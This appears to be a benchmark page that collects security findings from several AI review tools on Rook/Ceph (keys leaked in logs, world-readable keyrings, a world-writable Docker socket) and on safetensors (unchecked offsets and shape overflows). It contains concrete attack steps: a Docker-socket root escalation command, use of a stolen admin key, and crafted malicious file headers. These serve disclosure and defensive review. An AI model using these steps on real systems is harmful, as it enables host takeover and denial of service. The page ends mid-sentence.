- Impact
-
The Ceph credential used for the mount, which is the cluster-wide client.admin key in the default Any mode, is persisted in cleartext in the rook-ceph-agent pod logs. Those logs are usually shipped to central log stores, where the audience is wider than the people who should hold the Ceph admin key. Anyone who can read those logs can take over the whole Ceph cluster.
- Description
-
options holds "secret=<ceph key>" (built at mount.go:238-241 from GetClientAccessInfo, which is the Ceph admin secret in the default Any mode). On any mount failure it is formatted into the error text, and mount.go:294 sends that text to the agent over Controller.Log, which writes it to the agent pod log (controller.go:288-293). The wrapped err from the vendored Kubernetes 1.14 mounter also echoes the full mount argument list.
- Exploit scenario
-
A CephFS flexvolume mount fails, for example because a monitor is unreachable, the kernel is too old, or the path is invalid. A user with only
kubectl logsaccess on the agent pods, or access to the log aggregation system, reads the "failed to mount filesystem ... options [name=admin secret=AQ...]" line and recovers the admin key. - Recommendation
-
Never include mount options that contain secrets in error or log messages. Redact the secret= value before formatting. Pass the key through a secretfile or a kernel keyring instead of the command line. Do not forward unsanitized mounter errors to Controller.Log.
Claude Security (Opus 5.5)
CSI cephx keys are written in plaintext into the error message and then the operator logs when creating or updating a Kubernetes secret fails
pkg/operator/ceph/csi/secrets.go:155Predicted severity: Medium- Root cause
-
Vulnerable symbol: createOrUpdateCSISecret
Preconditions: Creating or updating one of the rook-csi-* secrets fails (transient API error, RBAC/quota error, or a pre-existing secret with a conflicting immutable type); Attacker can read operator logs (pods/log in the operator namespace or the log-aggregation system)
Offending code:
return fmt.Errorf("failed to create kubernetes secret %q for cluster %q", secret, namespace)
- Impact
-
Ceph credentials leak to logs, which are often readable by a wider audience (pods/log RBAC, central logging) than Kubernetes Secrets. The leaked keys give read/write access to all CephFS file data or all RBD block images in the cluster.
- Description
-
When k.CreateSecret fails, the variable passed to %q is
secret, the whole map[string][]byte holding userKey/adminKey, not the secret name. Go's %q prints each []byte value as a quoted string, so the cephx key ends up in plaintext in the error. Every caller (postMonStartupActions/configureExternalCephCluster -> createInstance) logs that error at ERROR level. - Exploit scenario
-
The Get/Create/Update in SecretStore.CreateSecret fails. This can be a transient API error, an RBAC or quota problem, or an existing rook-csi-* secret whose immutable
typediffers, which makes every Update fail. The operator then logs a line such asfailed to create kubernetes secret map["adminID":"csi-cephfs-node" "adminKey":"AQ...=="]. createInstance runs again on node add, device change and CR update, so a persistent failure keeps logging it. Anyone who can read the operator pod logs or the log-aggregation backend recovers the client.csi-cephfs-node key (mds 'allow rw', osd 'allow rw tag cephfs *=*', i.e. read/write on all CephFS data) or the RBD node/provisioner keys (profile rbd, i.e. access to all RBD images). They never needed read access to the Secret objects. - Recommendation
-
Format the secret name, not its contents: fmt.Errorf("failed to create kubernetes secret %q for cluster %q. %+v", secretName, namespace, err). Do not put Secret.Data or key material into errors or logs.
Vercel Security Review
Failed CephFS mounts log the plaintext Ceph authentication key
cmd/rookflex/cmd/mount.go:288Predicted severity: Medium- Root cause
-
Not specified.
- Impact
-
Not specified.
- Description
-
**1. Mount credentials can contain the cluster administrator key** -
pkg/daemon/ceph/agent/flexvolume/controller.go:434-435```go title="pkg/daemon/ceph/agent/flexvolume/controller.go:434-435"
} else if c.mountSecurityMode == agent.MountSecurityModeAny && clientAccessInfo.SecretKey == "" {
clientAccessInfo.SecretKey = clusterInfo.AdminSecret
```
Any mode is the operator default; Restricted mode instead resolves a supplied Secret.
**2. The raw key becomes a mount option** -
cmd/rookflex/cmd/mount.go:238-241```go title="cmd/rookflex/cmd/mount.go:238-241"
options := []string{
fmt.Sprintf("name=%s", clientAccessInfo.UserName),
fmt.Sprintf("secret=%s", clientAccessInfo.SecretKey),
}
```
**3. An ordinary mount failure exposes it to log readers** -
cmd/rookflex/cmd/mount.go:288```go title="cmd/rookflex/cmd/mount.go:288"
return fmt.Errorf("failed to mount filesystem %s to %s with monitor %s and options %v: %+v", opts.FsName, opts.MountDir, devicePath, options, err)
```
Line 294 forwards this error to Controller.Log, which writes it at ERROR level (controller.go:288-290), without debug logging. Anyone allowed to read agent logs can recover the authentication key after a failed mount, gaining Ceph access independently of Kubernetes Secret permissions.
- Exploit scenario
-
Not specified.
- Recommendation
-
Never interpolate credential-bearing mount options into errors or logs. Omit the options or explicitly redact the secret before formatting. Ensure underlying mount errors are sanitized too, and add tests asserting that failed mounts cannot emit the key. Rotate credentials already exposed through retained logs.
-
Insecure file and directory permissions rook-6 · 3 writeups Medium
V12
Administrative keyrings request non-owner read permissions
pkg/daemon/ceph/config/keyring.go:32Predicted severity: Informational- Root cause
-
The shared connection-key writer requests a publicly readable mode for administrative credentials rather than enforcing owner-only access. It also does not repair permissions on an already-existing file.
- Impact
-
The specific unresolved question is whether a less-privileged process can traverse the operator's configured directory hierarchy and read this admin keyring. The searched connection writer, CLI default, and operator volume manifest establish
0644credential files in a configurable directory, but do not establish effective umask and all parent directory modes or a non-root reader; exposure would grant the Ceph authority of the stored admin key. - Description
-
Connection setup writes the administrative keyring with mode
0644, which requests group and world read bits rather than owner-only permissions. Both local monitor configuration saves and externalWriteConnectionConfigcalls reach this writer. The stored contents include the admin key together with unrestricted monitor, OSD, MDS, and manager capabilities. The writer creates missing directories with mode0744, but does not tighten already-existing parent directories or an existing keyring. This is a source-backed credential file permission defect; the default deployment's complete non-root path accessibility is not demonstrated.
Claude Security (Sonnet 5.5)
Build container entrypoint makes the host's bind-mounted Docker socket world-writable
images/cross/run.sh:32Predicted severity: Low- Root cause
-
Vulnerable symbol: run.sh (build container entrypoint)
Preconditions: Attacker already has a local unprivileged process or account on the host that runs build/run; The host Docker socket is bind-mounted into the container (the default when DISABLE_NESTED_DOCKER is unset)
Offending code:
[[ -S /var/run/docker.sock ]] && chmod 666 /var/run/docker.sock
- Impact
-
Local privilege escalation to root on the build host, with exposure of CI credentials such as the mounted ~/.docker, ~/.aws and ~/.netrc.
- Description
-
build/run bind-mounts the host's /var/run/docker.sock into the cross-build container. The entrypoint, running as root, chmods it to 0666. chmod on a bind-mounted socket changes the host inode, so every local user on the build host gains Docker access.
- Exploit scenario
-
A shared Linux CI or build host (for example a Jenkins agent that runs
build/run make ...) has other unprivileged local accounts or processes. After any build/run invocation the host socket is mode 0666. An unprivileged local user runsdocker run -v /:/host --privileged ... chroot /hostand becomes root on the host. The mode stays until the Docker daemon recreates the socket. - Recommendation
-
Do not change permissions on the host socket. Instead, add the builder user to a group whose gid matches the socket's group (for example via
--group-add $(stat -c %g /var/run/docker.sock)). Alternatively, run the build container with a dedicated, non-shared Docker daemon.
Claude Security (Opus 5.5)
Ceph client.admin keyring written world-readable (0644) into the host dataDirHostPath by OSD provisioning
pkg/daemon/ceph/config/keyring.go:85Predicted severity: Medium- Root cause
-
Vulnerable symbol: writeKeyring
Preconditions: Attacker has unprivileged local access (or a non-root process) on a node running an OSD prepare job; dataDirHostPath/<namespace> is traversable by others (e.g. created 0755 by the container runtime for a daemon log hostPath); if Rook's own MkdirAll(0744) creates it first, others cannot traverse it
Offending code:
if err := ioutil.WriteFile(keyringPath, []byte(keyring), 0644); err != nil {
- Impact
-
Local privilege escalation to Ceph cluster admin: read, modify or delete every pool, image, filesystem and object store, and create users with arbitrary caps.
- Description
-
GenerateAdminConnectionConfigWithSettings (config.go:125-127) writes AdminKeyring(cluster), which grants allow * on mon/osd/mds/mgr, to <ConfigDir>/<namespace>/client.admin.keyring through writeKeyring, using mode 0644. In the OSD prepare job (osd/daemon.go:170), ConfigDir is /var/lib/rook, a hostPath mount of dataDirHostPath. The cluster admin secret therefore lands on the node's filesystem readable by any local user, protected only by the parent directory's permissions.
- Exploit scenario
-
On a storage node, /var/lib/rook/<namespace>/ often already exists with mode 0755. The container runtime creates it when it bind-mounts the mon/mgr/mds/rgw log hostPath /var/lib/rook/<namespace>/log, which uses an untyped hostPath. When the OSD prepare job writes /var/lib/rook/<namespace>/client.admin.keyring with mode 0644, any unprivileged local user or process on the node can
catit and runceph --id admin --key ...against the mons, gaining full cluster administration. - Recommendation
-
Write keyring files with mode 0600 (and directories 0700), as Ceph itself does. Avoid persisting the client.admin keyring to dataDirHostPath at all: mount it from the rook-ceph-admin-keyring Secret, or write it to an emptyDir/tmpfs. Explicitly chmod existing files and directories, because WriteFile/MkdirAll do not tighten permissions on paths that already exist.
- Default Ceph dashboard credentials are easily brute-force-able rook-12 Medium
-
-
Safetensors Rust Safe tensor serialization library. Tasks 3 V12 3/3 Devin (Deep) 3/3 Devin 3/3 Codex Sec 3/3 Claude Sec 3/3 Claude Opus 3/3 Vercel 3/3
Safe tensor serialization library.
-
Tensor offsets are not checked against the total size of the tensor data eleutherai-huggingface-safetensors-1 · 7 writeups Medium
V12
Unchecked payload endpoints cause tensor access panics
safetensors/src/tensor.rs:281Predicted severity: Medium- Root cause
-
Metadata::validatechecks offsets against other metadata but has no payload-length parameter or final endpoint check.read_metadataanddeserializenever supply the missing cross-field validation before lookup and enumeration trust the offsets. - Impact
-
A hostile complete byte buffer can pass deserialization and trigger a panic during otherwise ordinary tensor lookup or enumeration. This can interrupt a loading task or terminate a process when panics are not contained; memory disclosure or corruption is not established.
- Description
-
SafeTensors::read_metadatabounds-checks the JSON header and invokesMetadata::validate, but neither operation compares tensor endpoints with the actual remaining payload length. Validation enforces contiguous, nondecreasing offsets and shape/dtype agreement only. A source-based reproduction is a complete buffer consisting of the little-endian length of{"x":{"dtype":"U8","shape":[1],"data_offsets":[0,1]}}, that JSON header, and no payload.deserializeaccepts this buffer, andnamesandMetadata::tensorscan expose its entry, but bothtensor("x")andtensors()subsequently panic when slicing the empty data region. This reproduction is derived from the source, not execution; Rust's checked slices prevent an out-of-bounds memory read.
Devin Security (Deep)
Header offsets are never checked against the file length, so crafted files trigger Rust panics that escape
except Exceptionsafetensors/src/tensor.rs:449Predicted severity: Low- Root cause
-
Not specified.
- Impact
-
Not specified.
- Description
-
##### TL;DR
A malicious
.safetensorsfile can crash a Python process that loads it even when the caller wraps the load intry/except Exception, but it cannot read or change other data.##### What's wrong
This is a missing bounds check. The header validator checks that tensor offsets are contiguous and match the declared size. It never checks that the last offset fits inside the file. The loaders then slice the buffer with those offsets. Rust stops the out-of-range slice with a panic, and pyo3 turns the panic into
PanicException. That class inherits fromBaseException, notException.##### Who can do it
Alice runs a model-upload service that calls
safetensors.numpy.load(data)orsafe_open(...).get_tensor(name)insidetry: ... except Exception:so that one bad upload cannot take down a worker. Mallory uploads a file whose header claims a tensor of 1,000,000 bytes but adds only 8 bytes of data. The load panics. Alice'sexcept Exceptionblock does not catch it, and the worker exits.- Mallory can get Alice's code to load her file, for example by uploading it.
- The file reaches
deserialize(load(bytes)in every framework wrapper) or the mmap path ofget_tensororget_slice(np,tf,flax, or torch older than 1.11).##### What they get
Mallory can repeatedly crash Alice's loading workers with tiny files. She gets no data and no code execution. Only availability is affected.
##### How it works
1.
Metadata::validatechecks contiguity and size per tensor but never compares the final offset with the data length (safetensors/src/tensor.rs:449-471).2.
deserializecallsSafeTensors::tensors(), which slices&self.data[s..e]with the unchecked offsets (lib.rs:145-149, tensor.rs:332).3. On the mmap path,
get_tensorand__getitem__slice&mmap[s + offset..e + offset]with the same unchecked offsets (lib.rs:459-460, 704-705).4. The out-of-range slice panics, and pyo3 raises
PanicException, aBaseException, which ordinaryexcept Exceptionhandlers do not catch. - Exploit scenario
-
Not specified.
- Recommendation
-
In
SafeTensors::read_metadata, aftervalidate, require that the last tensor's end offset equalsbuffer_len - (n + 8), and return aSafeTensorErrorotherwise. Usechecked_addwhen adding the header length to tensor offsets in lib.rs, and returnSafetensorErrorinstead of slicing out of range. To check the fix, write a file with header{"t":{"dtype":"U8","shape":[1000000],"data_offsets":[0,1000000]}}and 8 data bytes. Confirm thatsafetensors.numpy.load(data)andsafe_open(path, "np").get_tensor("t")both raiseSafetensorError, which is anExceptionsubclass, and notPanicException.
Devin Security
Header validation does not check tensor offsets against the file size, so a crafted file crashes the loader
safetensors/src/tensor.rs:449Predicted severity: Low- Root cause
-
Not specified.
- Impact
-
Not specified.
- Description
-
##### TL;DR
A crafted .safetensors file makes any app that loads it panic, which stops the process or worker but leaks no data.
##### What's wrong
This is a missing bounds check.
Metadata::validatechecks that offsets are contiguous and match the shape, but never checks that the last end offset fits inside the data that follows the header.tensor(),tensors(), and the Pythonget_tensorthen slice past the end of the buffer.##### Who can do it
Alice runs a service that loads user-uploaded models with safetensors because it is meant to be safe for untrusted files. Mallory uploads a file whose header says a tensor has
data_offsets: [0, 1000000]but which holds no data after the header.- The app loads attacker-supplied .safetensors files.
- The app reads at least one tensor.
##### What they get
The Rust slice panics. In a Rust app this kills the thread or process. In Python, pyo3 raises
PanicException, which is aBaseExceptionand slips past normalexcept Exceptionhandlers, so the worker usually dies. Mallory can repeat this to keep the service down. No memory is read out of bounds, because Rust checks the slice.##### How it works
1.
read_metadataparses the header and callsvalidate(tensor.rs:289-291).2.
validatecheckss == startande - s == nbytesbut has no check against the buffer length (tensor.rs:449-471).3.
deserializekeeps the rest of the buffer asdatawith no length check (tensor.rs:318).4.
tensor()ortensors()slices&self.data[s..e]and panics (tensor.rs:332, 348); the Python bindings do the same on the mmap (bindings/python/src/lib.rs:460, 704). - Exploit scenario
-
Not specified.
- Recommendation
-
Make
validatereturn the final end offset and, inread_metadata, reject the file unless8 + n + end == buffer.len()(return aMetadataIncompleteBuffer-style error). Add a test that a header withdata_offsets [0, 16]and no data bytes returns an error fromdeserializeandsafe_openinstead of panicking.
Codex Security (GPT-6 Sol)
Loading a truncated safetensors file can panic on tensor access
safetensors/src/tensor.rs:449Predicted severity: Medium- Root cause
-
read_metadatachecks header extent and offset consistency but never binds the final tensor end to the actual data after the header.deserializeaccepts the truncated body, and tensor access uses ordinary Rust indexing beyond it. - Impact
-
An untrusted file can interrupt an application that loads its tensor; no code execution or memory corruption is established.
- Description
-
The parser accepts a tensor offset that extends past the actual payload. Later Rust and Python tensor access indexes the missing bytes and panics.
- Exploit scenario
-
Untrusted file bytes → JSON header →
Metadata::validate→SafeTensors::tensorsor Python mmap access - Recommendation
-
Compare the final declared tensor end with the actual payload length before accepting metadata; use checked access as defense in depth.
Claude Security (Sonnet 5.5)
Header data_offsets end is never checked against the actual data buffer length, so a crafted or truncated file panics in tensor()/tensors()
safetensors/src/tensor.rs:348Predicted severity: Low- Root cause
-
Vulnerable symbol: SafeTensors::tensor
Preconditions: Victim loads an attacker-supplied or truncated safetensors file and then reads a tensor
Offending code:
data: &self.data[info.data_offsets.0..info.data_offsets.1],
- Impact
-
Remote, unauthenticated denial of service against any application that loads untrusted safetensors files. It is a panic, not memory corruption, because the slicing is safe Rust. It also contradicts the crate's documented guarantee that a header cannot cause out-of-range access.
- Description
-
The attacker-controlled JSON header supplies data_offsets, and Metadata::validate only checks contiguity and shape*dtype consistency, never that the final end offset is <= buffer.len()-(n+8). The unchecked offsets then go straight into a slice expression in tensor() (and tensors() at line 332), which panics when the range exceeds the data. Also CWE-129: The attacker-controlled JSON header supplies data_offsets, and Metadata::validate only checks contiguity and shape*dtype size consistency, never that the final end offset is <= buffer_len - (8 + n). SafeTensors::deserialize therefore returns Ok, and tensor()/tensors() then index &self.data[s..e] directly with the unchecked offsets, which panics when e exceeds the data length. Also CWE-125: The attacker-controlled JSON header supplies data_offsets, and Metadata::validate only checks contiguity and shape*dtype size consistency, never that the last end offset is <= the real data length. The unchecked range is then used to index the data slice in tensor() (and identically in tensors() at line 332).
- Exploit scenario
-
An attacker publishes a .safetensors file whose header declares, e.g., one tensor {"dtype":"U8","shape":[4294967296],"data_offsets":[0,4294967296]} but contains only a few bytes of data, or a legitimately truncated download. SafeTensors::deserialize/read_metadata succeeds because validate never compares the end offset to the buffer length. Any later call to tensor(name) or tensors() panics. The Python binding (bindings/python/src/lib.rs get_tensor/__getitem__) slices the mmap with the same unchecked offsets and surfaces a pyo3 PanicException, which is a BaseException and is not caught by
except Exception. A single malicious or truncated model file therefore crashes the loading process. - Recommendation
-
Have validate() return the final end offset and, in deserialize()/read_metadata(), reject the file when that end is not exactly equal to buffer.len()-(n+8), using an error such as MetadataIncompleteBuffer. Alternatively use self.data.get(start..end) and return an error in tensor()/tensors() instead of indexing. Use checked_add for every offset+base computation in callers. Also CWE-129: Have validate() return the final end offset and, in read_metadata, reject the file unless buffer_end + 8 + n <= buffer_len (upstream later required equality, MetadataIncompleteBuffer). Also make tensor()/tensors() use data.get(s..e) and return an error instead of indexing. Make Metadata::new/Deserialize impossible to use without validation, since the validate call is commented out at line 445. Also CWE-125: Make validation take the data-section length and reject the file if the final end offset is not <= data.len(), or exactly equal if no trailing bytes are allowed. Do this inside read_metadata/deserialize so no unvalidated Metadata can be paired with a shorter buffer. Use
.get(start..end)in tensor()/tensors() and return InvalidOffset instead of indexing directly.
Claude Security (Opus 5.5)
Header data_offsets are never checked against the file's data length, so a crafted file panics the loader
safetensors/src/tensor.rs:332Predicted severity: Medium- Root cause
-
Vulnerable symbol: SafeTensors::tensors
Preconditions: Victim loads an attacker-supplied safetensors file or byte buffer and accesses its tensors (tensors(), tensor(), Python load/load_file/get_tensor/get_slice)
Offending code:
data: &self.data[info.data_offsets.0..info.data_offsets.1],
- Impact
-
Any service or tool that loads untrusted safetensors files, the format's main use case, can be crashed (denial of service). In Rust the panic unwinds and kills the calling thread or process, or aborts it under panic=abort. In Python the PanicException escapes normal error handling. Memory safety is kept by Rust's bounds checks, so the impact is availability only.
- Description
-
The header JSON comes from the untrusted file and supplies data_offsets. Metadata::validate (tensor.rs:449-471) only checks that offsets are contiguous from 0 and that e-s matches shape*dtype. It never compares the final offset with the size of the data region (buffer.len()-n-8). SafeTensors::deserialize therefore returns Ok, and tensors()/tensor() then slice self.data with offsets that run past the end of the data. Also CWE-1285: The attacker-controlled
data_offsetsin the JSON header are checked only for being contiguous and starting at 0 (Metadata::validate). Nothing compares the last end offset withbuffer.len() - 8 - n. As a result, SafeTensors::deserialize/read_metadata return Ok, and the later slice&self.data[s..e]in tensors()/tensor() runs out of bounds and panics. - Exploit scenario
-
The attacker publishes a .safetensors file with a valid 8-byte length prefix and the header {"w":{"dtype":"U8","shape":[1048576],"data_offsets":[0,1048576]}} but no data bytes after it. read_metadata/validate accept it. Rust consumers then call SafeTensors::deserialize(&buf)?.tensors() or .tensor("w") and panic with 'range end index 1048576 out of range for slice of length 0'. Python consumers that call safetensors.numpy.load(bytes) or safetensors.torch.load(bytes) reach the binding's deserialize -> tensors() and get a pyo3 PanicException. That exception subclasses BaseException, so ordinary
except Exceptionhandlers do not catch it. safe_open(..., framework="np").get_tensor("w") panics in the same way at bindings lib.rs:460. Setting offsets near usize::MAX also makesdata_offsets.1 + self.offsetin the bindings wrap in release builds. - Recommendation
-
In read_metadata/validate, after the loop require that the final offset equals buffer.len() - n - 8, and return an error (e.g. MetadataIncompleteBuffer) otherwise. Use checked_add for every offset sum, including
data_offsets + self.offsetin the bindings. In tensor()/tensors(), use self.data.get(s..e) and return an error instead of indexing directly. Also CWE-1285: Have validate() return the final end offset. In read_metadata/deserialize, reject the file unless8 + n + end == buffer.len()(or at leastend <= buffer.len() - 8 - n). Use checked_add for offsets. Return an error instead of panicking. Useself.data.get(s..e)in tensors()/tensor() as a defensive fallback.
Vercel Security Review
Truncated tensor payloads pass validation and panic readers
safetensors/src/tensor.rs:291Predicted severity: Medium- Root cause
-
Not specified.
- Impact
-
Not specified.
- Description
-
**1. The new reader accepts offsets beyond the payload** -
safetensors/src/tensor.rs:289-292```rust title="safetensors/src/tensor.rs:289-292"
let metadata: Metadata = serde_json::from_str(string)
.map_err(|_| SafeTensorError::InvalidHeaderDeserialization)?;
metadata.validate()?;
Ok((n, metadata))
```
A model publisher can supply a small, truncated file whose shape and offsets agree. Validation checks their internal consistency but never compares the final offset with the actual payload length.
**2. Tensor access converts accepted metadata into a panic** -
safetensors/src/tensor.rs:345-348```rust title="safetensors/src/tensor.rs:345-348"
Ok(TensorView {
dtype: info.dtype,
shape: info.shape.clone(),
data: &self.data[info.data_offsets.0..info.data_offsets.1],
```
Both tensor accessors use bounds-panicking indexing rather than returning
SafeTensorError. Ordinary loading of the accepted file therefore terminates the processing Rust thread, or the process in panic-abort builds, without requiring a large payload. - Exploit scenario
-
Not specified.
- Recommendation
-
Before returning metadata, use checked arithmetic to ensure the last tensor end offset exactly matches the bytes remaining after the header. Reject truncated payloads with SafeTensorError, and use checked range access defensively in tensor accessors and Python mmap access. Add tests for internally consistent headers with missing or shortened tensor data.
-
Tensor size calculations may overflow in Metadata::validate eleutherai-huggingface-safetensors-2 · 7 writeups Medium
V12
Unchecked shape arithmetic bypasses tensor size validation
safetensors/src/tensor.rs:449Predicted severity: Medium- Root cause
-
The canonical metadata validator and standalone view constructor both use unchecked shape-product and dtype-width multiplication. Their equality checks compare against an overflowed result, and downstream slicing trusts the accepted shape-to-buffer relationship.
- Impact
-
Hostile shape metadata can cause a validation-time panic when overflow checks are enabled, or bypass byte-count validation when they are disabled and cause a later panic during valid slicing. The demonstrated consequence is interruption of tensor processing, with process termination dependent on panic handling; no out-of-bounds memory access is established.
- Description
-
Both
Metadata::validateandTensorView::newcompute a shape product and then multiply by the dtype width using uncheckedusizearithmetic. With overflow checks enabled, hostile dimension vectors can panic during these fallible validation APIs rather than return an error, including[H,2,0]whereH = 1usize << (usize::BITS - 1)and the mathematical element count is zero. With overflow checks disabled, U8 shape[H,2]and U64 shape[1usize << (usize::BITS - 3)]each produce a wrapped byte count of zero and are accepted with an empty borrowed buffer. The same shapes are accepted from a complete file with[0,0]offsets and no payload, and lookup or enumeration constructs the inconsistent views directly. Passing a valid first-axis slice0..1throughsliced_datathen creates a nonempty byte range over the empty buffer, and advancing the iterator panics at a checked slice. These are source-based reproductions under the stated overflow-check configurations, not executed results or evidence of unsafe memory access.
Devin Security (Deep)
Crafted header with an overflowing shape makes get_slice loop and allocate without limit
safetensors/src/tensor.rs:463Predicted severity: Low- Root cause
-
Not specified.
- Impact
-
Not specified.
- Description
-
##### TL;DR
A malicious
.safetensorsfile can make any NumPy, TensorFlow, or Flax program that slices one of its tensors run out of memory or hang, but it cannot read or change other data.##### What's wrong
This is an integer overflow that leads to unbounded resource use. Header validation multiplies the shape dimensions with wrapping
usizearithmetic, so a huge shape whose product wraps to 0 passes as a 0-byte tensor.PySafeSlice.__getitem__then builds one index entry for every row of that huge dimension, and nothing caps the number of rows.##### Who can do it
Alice runs a service that loads user-submitted model files with
safe_open(path, framework="np")and shards columns withf.get_slice(name)[:, a:b]. Mallory uploads a file that declares aU8tensor with shape[2**63, 2]anddata_offsets[0, 0]. Alice's loader callsget_sliceon that tensor and slices the second dimension.- Mallory can get Alice's code to open her file. Uploading a model to a public hub is enough.
- The file is opened with
frameworknp,tf, orflax, or withpton torch older than 1.11. These all use theStorage::Mmappath.- The caller slices a dimension other than the first one, which is the usual tensor-parallel column-sharding pattern.
##### What they get
The loader process allocates memory in a loop until the OS kills it. Each upload takes down one worker, so Mallory can keep Alice's loading service down. She gets no data and no code execution. Only availability is affected.
##### How it works
1.
Metadata::validatecomputesnelements * dtype.size()with a wrapping product, so shape[2**63, 2]gives 0 bytes and matches offsets[0, 0](safetensors/src/tensor.rs:463-465).2.
PySafeSlice.__getitem__rebuilds aTensorViewwith the same wrapping check inTensorView::newand passes it (lib.rs:707, tensor.rs:523-524).3.
slice_to_indexerturns:into an unbounded range, whichSliceIterator::newresolves to(0, shape), here0..2**63(lib.rs:165-183, slice.rs:235).4. Because the later dimension was already sliced,
SliceIterator::newrunsfor n in start..stopand pushes one(start, stop)pair per row into aVec, which grows until memory is exhausted (slice.rs:263-270). - Exploit scenario
-
Not specified.
- Recommendation
-
Compute the element count with
checked_mulover the shape andchecked_mulbydtype.size()in bothMetadata::validateandTensorView::new, and reject the header on overflow. InSliceIterator::new, reject any slice wherestart > stoporstop > shape, and use checked arithmetic forspanand the offsets. To check the fix, write a header with aU8tensor of shape[9223372036854775808, 2]and offsets[0, 0]. Confirm thatsafe_open(..., framework="np")raisesSafetensorErrorright away instead ofget_slice(name)[:, 0:1]using memory without limit.
Devin Security
Unchecked shape product and size multiplication let a crafted header pass validation
safetensors/src/tensor.rs:463Predicted severity: Low- Root cause
-
Not specified.
- Impact
-
Not specified.
- Description
-
##### TL;DR
A crafted .safetensors header can make the loader panic or build tensors whose stated shape does not match their bytes, which can crash the app but does not expose data.
##### What's wrong
This is an integer overflow.
validatecomputesshape.iter().product()andnelements * dtype.size()with plain arithmetic. In release builds these wrap around, so a huge shape can produce a small byte count that matches the offsets. In debug builds they panic.TensorView::newhas the same problem.##### Who can do it
Mallory uploads a model file to Alice's service whose header lists a shape like
[2^62, 4]with dtypeU8anddata_offsets [0, 0]. The product wraps to 0, so validation passes.- The app loads attacker-supplied .safetensors files.
##### What they get
The loader accepts a header whose shape is far larger than its data. Later code that trusts the shape (framework reshape, slicing span math, or
data_offsets + offsetin the bindings) fails with errors or panics. Mallory can crash workers. Rust bounds checks stop out-of-bounds reads, so she gets no data.##### How it works
1.
read_metadatadeserializes the shape and offsets from the header (tensor.rs:289).2.
validatemultiplies shape values and dtype size without overflow checks (tensor.rs:463-464).3. The wrapped result equals
e - s, so the check at tensor.rs:465 passes.4. Consumers such as
SliceIterator::new(slice.rs:273) and the bindings' offset math (lib.rs:460, 482) then work with inconsistent sizes and panic or error. - Exploit scenario
-
Not specified.
- Recommendation
-
Use
checked_mulfolding over the shape and for the dtype size, and return a validation error on overflow. Also usechecked_addfordata_offsets + offsetin the bindings. Add a test with shape[2^62, 4], dtypeU8, and offsets[0, 0]that expects a validation error.
Codex Security (GPT-6 Sol)
Parsing an oversized tensor shape can overflow and panic or pass a false size check
safetensors/src/tensor.rs:463Predicted severity: Medium- Root cause
-
Metadata validation assumes its computed byte count is trustworthy, but both multiplication steps can overflow. On a 64-bit release build, a U8 shape [9223372036854775808,2] can wrap to zero and match zero offsets.
- Impact
-
Malformed files can interrupt checked-build parsing or undermine shape and byte-count validation in release builds; downstream impact depends on the consumer.
- Description
-
Shape dimensions from the header are multiplied using unchecked
usizearithmetic. Checked builds panic; release builds can wrap the byte count and accept an impossible shape. - Exploit scenario
-
Untrusted shape values → JSON metadata → unchecked product → offset comparison
- Recommendation
-
Use
checked_mulfor every shape dimension and dtype byte multiplier in validation andTensorView::new, returning an error on overflow.
Claude Security (Sonnet 5.5)
Unchecked usize overflow in shape product and byte-size multiply lets malicious headers bypass size validation (release) or panic (overflow-checked builds)
safetensors/src/tensor.rs:463Predicted severity: Low- Root cause
-
Vulnerable symbol: Metadata::validate
Preconditions: Victim parses an attacker-supplied safetensors header via read_metadata or deserialize; Impact depends on the build profile (wrap in release, panic with overflow-checks) and on how consumers use the reported shape
Offending code:
let nelements: usize = info.shape.iter().product();
- Impact
-
In release builds (the default; no overflow-checks in the manifest) the arithmetic wraps modulo 2^64. A tensor declaring an astronomically large shape is accepted as consistent with a tiny or empty data range, which breaks the core invariant that shape*dtype size equals the data length. Examples: shape [4294967296,4294967296] with U8 and offsets [0,0] gives product 0; shape [2305843009213693952] with I64 gives 2^61*8 = 2^64, which wraps to 0; shape [9223372036854775810,2] with U8 and offsets [0,4] wraps to 4. Downstream consumers that trust TensorView::shape() to size or index buffers (including any unsafe zero-copy consumer) get inconsistent values. SliceIterator::new also builds spans from these shapes. In debug, test, fuzz or overflow-checks builds the same header panics inside read_metadata, so any parse of an untrusted file is a crash vector; the in-tree fuzz target, which only calls SafeTensors::deserialize, would hit it.
- Description
-
The attacker-controlled shape array from the JSON header is multiplied with Iterator::product(), and the result is multiplied by dtype.size() on line 464, both with plain unchecked arithmetic. The result is compared with (e - s) to decide whether shape, dtype and offsets agree.
- Exploit scenario
-
The attacker crafts a header {"t":{"dtype":"U8","shape":[4294967296,4294967296],"data_offsets":[0,0]}} with no payload. In a release build validate() computes nelements = 0 and nbytes = 0, so e - s == 0 and the file is accepted. The victim receives a TensorView whose shape() claims 2^64 elements backed by an empty slice. In a build with overflow checks, the header {"t":{"dtype":"U8","shape":[9223372036854775808,2],"data_offsets":[0,0]}} panics at this line during read_metadata.
- Recommendation
-
Compute the element count with try_fold(1usize, usize::checked_mul) and the byte size with checked_mul, returning a dedicated validation-overflow error on None. Apply the same checked arithmetic wherever shape products are computed (TensorView::new, SliceIterator span calculations). Consider also rejecting absurd shape lengths.
Claude Security (Opus 5.5)
Unchecked shape product overflow lets a header declare an enormous shape over a tiny byte range, driving memory exhaustion in slicing
safetensors/src/tensor.rs:463Predicted severity: Medium- Root cause
-
Vulnerable symbol: Metadata::validate
Preconditions: Library built without overflow checks (release; the Python wheel is built with debug=False); Victim loads the attacker's file and slices the tensor through the core SliceIterator (Mmap storage path) or otherwise trusts the returned shape
Offending code:
let nelements: usize = info.shape.iter().product();
- Impact
-
A small malicious model file can kill the loading process or exhaust host memory (denial of service), even though the library claims addresses in the file are validated against DoS. This defeats the header check meant to guarantee that shape, dtype and byte length agree.
- Description
-
shape(Vec<usize>) comes from the untrusted header JSON. validate computes shape.iter().product() * dtype.size() with plain multiplication. The wheels are built in release mode (setup.py:70 debug=False), so this wraps silently: shape [2^32, 2^32] wraps to 0 and passes the(e - s) != nbytescheck with a 0-byte range. TensorView::new (tensor.rs:523-524) repeats the same unchecked arithmetic. SliceIterator::new (slice.rs:258-267) then trusts the shape to compute byte ranges and to size a per-row index loop. - Exploit scenario
-
The attacker ships a file whose header is {"w":{"dtype":"F32","shape":[4294967296,4294967296],"data_offsets":[0,0]}} with no data. In a release build the product wraps to 0, so validate and TensorView::new both accept it. A victim then lazily loads a slice through safe_open(path, framework="np"|"tf"|"flax"), or through torch < 1.11, which uses the Mmap path. Calling .get_slice("w")[:, 0:1] makes SliceIterator::new run the
